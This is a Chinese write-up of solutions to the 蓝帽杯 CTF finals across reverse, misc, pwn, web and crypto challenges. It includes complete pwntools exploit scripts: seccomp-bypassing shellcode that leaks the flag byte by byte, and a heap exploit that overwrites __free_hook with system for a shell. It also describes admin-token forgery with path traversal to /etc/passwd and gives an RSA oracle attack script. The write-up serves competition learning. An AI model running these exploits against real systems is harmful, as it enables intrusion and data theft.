蓝帽杯 决赛wp
蓝帽杯 决赛wp
Re
abc
去了符号,加上符号还原后发现是个数字华容道,玩出华容道即可
网上找到了解决数字华容道的脚本
>>> b = Board(4, "1,10,2,3,5,13,6,4,9,0,7,11,14,15,12,8")
>>> b.get_solution()
Solution found!
Moves: 23
Nodes visited: 4839
Time: 51.375
All moves: (1, 1), (1, 0), (0, 0), (0, 1), (0, 2), (1, 2), (1, 1), (2, 1), (2, 2), (3, 2), (3, 3), (2, 3), (1, 3), (0, 3), (0, 2), (0, 1), (0, 0), (1, 0), (2, 0), (3, 0), (3, 1), (3, 2), (3, 3)
>>> b.get_solution()
Solution found!
Moves: 23
Nodes visited: 4839
Time: 51.375
All moves: (1, 1), (1, 0), (0, 0), (0, 1), (0, 2), (1, 2), (1, 1), (2, 1), (2, 2), (3, 2), (3, 3), (2, 3), (1, 3), (0, 3), (0, 2), (0, 1), (0, 0), (1, 0), (2, 0), (3, 0), (3, 1), (3, 2), (3, 3)
>>> b.get_solution()
a=[(1, 1), (1, 0), (0, 0), (0, 1), (0, 2), (1, 2), (1, 1), (2, 1), (2, 2), (3, 2), (3, 3), (2, 3), (1, 3), (0, 3), (0, 2), (0, 1), (0, 0), (1, 0), (2, 0), (3, 0), (3, 1), (3, 2), (3, 3)]
now=(1,2)
result=''
for i in a:
if i[0]==now[0] and i[1]+1==now[1]:
result+='w'
print('w')
now=i
if i[0]==now[0] and i[1]-1==now[1]:
result+='s'
print('s')
now=i
if i[0]+1 == now[0] and i[1] == now[1]:
result += 'd'
print('d')
now = i
if i[0] - 1 == now[0] and i[1] == now[1]:
result += 'a'
print('a')
now = i
print(result.replace('a','#').replace('d','%').replace('w','$').replace('s','@'))
得到
$$%@@#$#@#@%%%$$$###@@@
Misc
ssh_traffic
发现是ssh流量kao考虑解密
发现tcp流2给出了key.json
利用网上工具network-parser
需要调整很多安装部分。
最后直接输出到当前目录手动查一下flag即可。
张三电脑
下载下来file一下发现是磁盘
直接diskgenius恢复出flag图片了。
Pwn
secretcode
构造shellcode,or,要绕FD的沙箱,用0x100000003,然后判断相等选择炸掉或者死循环就行
#coding:utf-8
from pwn import *
import subprocess, sys, os
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './chall'
ip = '47.104.169.149'
port = 25178
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
context(os='linux', arch='amd64')
# context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def check(str):
if '\x00' in str or len(str) > 64:
result = ''
for i in str:
result += i.encode('hex') + ' '
return result
return 'success'
alpha = 'abcdefghijklmnopqrstuvwxyz+-_{}'
alpha = alpha + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + '1234567890'
shell1 = '''
sub sp, 0x408
push 0x67616c66
mov rdi, rsp
xor esi, esi
xor rax, rax
mov al, 2
syscall
xor rdi, rdi
inc rdi
shl rdi, 0x20
add di, 3
mov rsi, rsp
xor rdx, rdx
mov dx, 0x101
xor rax, rax
syscall
'''
shellcode1 = asm(shell1)
shell = '''
add sp, {}
pop rax
cmp al,{}
'''
shell3 = '''
jne fail
jmp $-0
fail:
'''
shellcode3 = asm(shell3)
# flag = 'flag{Y0u_A4e_sc_M43tEr}'
flag = 'flag{Y0u_A4e_sc_M43tEr}'
for i in range(len(flag), 0x30):
if len(flag) != i:
print('error, out of alpha')
exit(1)
for j in alpha:
shellcode = shellcode1 + asm(shell.format(i, ord(j))) + shellcode3
che = check(shellcode)
if che == 'success':
run(0)
p.sendafter('======== Input your secret code ========\n', shellcode)
try:
p.recv(timeout=3)
except EOFError:
p.close()
continue
except KeyboardInterrupt:
pass
flag += j
print(i, 'flag ==> ', flag)
p.close()
break
else:
print(che)
print(len(shellcode))
exit(0)
# p.interactive()
babynote
edit中abs后再转int,如果是0x80000000,就会还是负数,可以修改size位,大包小,泄露libc,改__free_hook为system
#coding:utf-8
from pwn import *
import subprocess, sys, os
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './chall'
ip = '47.104.169.149'
port = 14269
remote_libc_path = './libc-2.27.so'
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('> ', str(idx))
def add(size, content = '\n'):
chose(1)
sla('size> ', str(size))
sa('msg> ', content)
def edit(idx, offset, content):
chose(2)
sla('idx> ', str(idx))
sla('offset> ', str(offset))
sa('msg> ', content)
def free(idx):
chose(3)
sla('idx> ', str(idx))
def show(idx):
chose(4)
sla('idx> ', str(idx))
run(0)
add(0x18)#0
payload = 'a'*0x1e0 + flat(0, 0x21) + '\n'
add(0x200, payload)#1
for i in range(7):
add(0x200)#2~8
for i in range(7):
free(i+2)
payload = flat(0x211) + '\n'
edit(0, 0x80000000, payload)
free(0)
add(0x18)#9
# payload = 'a'*0x20 + '\n'
# add(0x211, payload)
# debug('b *$rebase(0xE8E)')
show(1)
libc = ELF(remote_libc_path)
libc.address = str2int(p.recv(6).ljust(8, '\0'), 'lib', libc.sym['__malloc_hook'] + 0x70)
add(0x18)#10
add(0x18)#11
add(0x18, '/bin/sh\n')#12
free(11)
free(10)
payload = p64(libc.sym['__free_hook']) + '\n'
edit(1, 0, payload)
add(0x18)
payload = p64(libc.sym['system']) + '\n'
add(0x18, payload)
free(12)
# debug()
p.interactive()
Web
editjs
题目很疑惑,放了hint之后可以伪造token来弄东西。
POST /register可以拿一个token
有了secretkey之后能伪造了
之后我们可以通过伪造的admin token去addAdmin。 以及/getifile路由
来读一些东西。最后发现可以目录穿越。../../../../../../../../../../../../etc/passwd
在常用目录获取到/root/flag.
Crypto
crack point
观察发现,需要计算flag,需要得到key,通过cipher-key public计算,已知G和key G,key大小仅为40bit,通过bsgs算法,复杂度仅有20bit,故考虑直接通过bsgs计算出key,然后恢复flag,sage编写exp如下:
p = 199577891335523667447918233627928226021
E = EllipticCurve(GF(p), [1, 0, 0, 6745936378050226004298256621352165803, 27906538695990793423441372910027591553])
G = E.gen(0)
public = E((26333907222366222187416360421790100900 , 15685215723385060577747689361308893836))
point_1 = E((53570576204982581657469369029969950113, 25369349510945575560344119361348972982))
cipher = E((154197284061586737858758103708592634427, 79569265701802598850923391009373339175))
key = bsgs(G, point_1, (2**20, 2**40), operation='+')
point_2 = key*public
flag = cipher - point_2
print('flag{' + str(flag[0] + flag[1]) + '}')
two bytes
发现是RSA 解密oracle,每次可以得到解密的高位,于是考虑通过解密得到$2^k m$ ,每次判断是否与前一个成移位关系,是则说明乘2后小于N,否则说明模了N,对比LSB oracle,通过二分得到secret即可,exp如下:
import decimal
from winpwn import *
from Crypto.Util.number import long_to_bytes
from string import ascii_letters, digits
import hashlib
from tqdm import tqdm
io = remote('120.27.20.251', 54691)
def pass_pow():
io.recvuntil('sha256(xxxx + ')
tail = io.recv(16)
io.recvuntil(' == ')
hash_value = io.recv(64)
alphabet = ascii_letters + digits
io.recvuntil('give me xxxx:')
for a in tqdm(alphabet):
for b in alphabet:
for c in alphabet:
for d in alphabet:
head = a + b + c + d
if hashlib.sha256((head + tail).encode()).hexdigest() == hash_value:
io.sendline(head)
return
def oracle(c):
io.recvuntil('Your choice: ')
io.sendline('1')
io.recvuntil('Your cipher: ')
io.sendline(str(c))
res = int(io.recv(4), 16)
return res
def partial(c, e, n):
nbits = n.bit_length()
decimal.getcontext().prec = nbits
low = decimal.Decimal(0)
high = decimal.Decimal(n >> 256)
c = (c * pow(2 ** 255, e, n)) % n
res = [oracle(c)]
for _ in tqdm(range(256)):
c = (c * pow(2, e, n)) % n
res.append(oracle(c))
if res[-1] // 2 == res[-2]:
high = (low + high) / 2
else:
low = (low + high) / 2
return int(high)
def main():
pass_pow()
io.recvuntil('Do you want the secret to be padded as PKCS1_v1_6?(y/n)')
io.send('n\n')
io.recvuntil('e = ')
e = int(io.recvuntil('\n').strip())
io.recvuntil('n = ')
n = int(io.recvuntil('\n').strip())
io.recvuntil('c = ')
c = int(io.recvuntil('\n').strip())
secret = 2 * partial(c, e, n)
if pow(secret, e, n) == c:
print('Got!!')
elif pow(secret+1, e, n) == c:
print('Got!!')
secret += 1
else:
print('No Answer!')
return
io.recvuntil('Your choice: ')
io.sendline('2')
io.recvuntil('You know my secret? (in hex): ')
io.send(hex(secret)[2:]+'\n')
io.interactive()
if __name__ == "__main__":
main()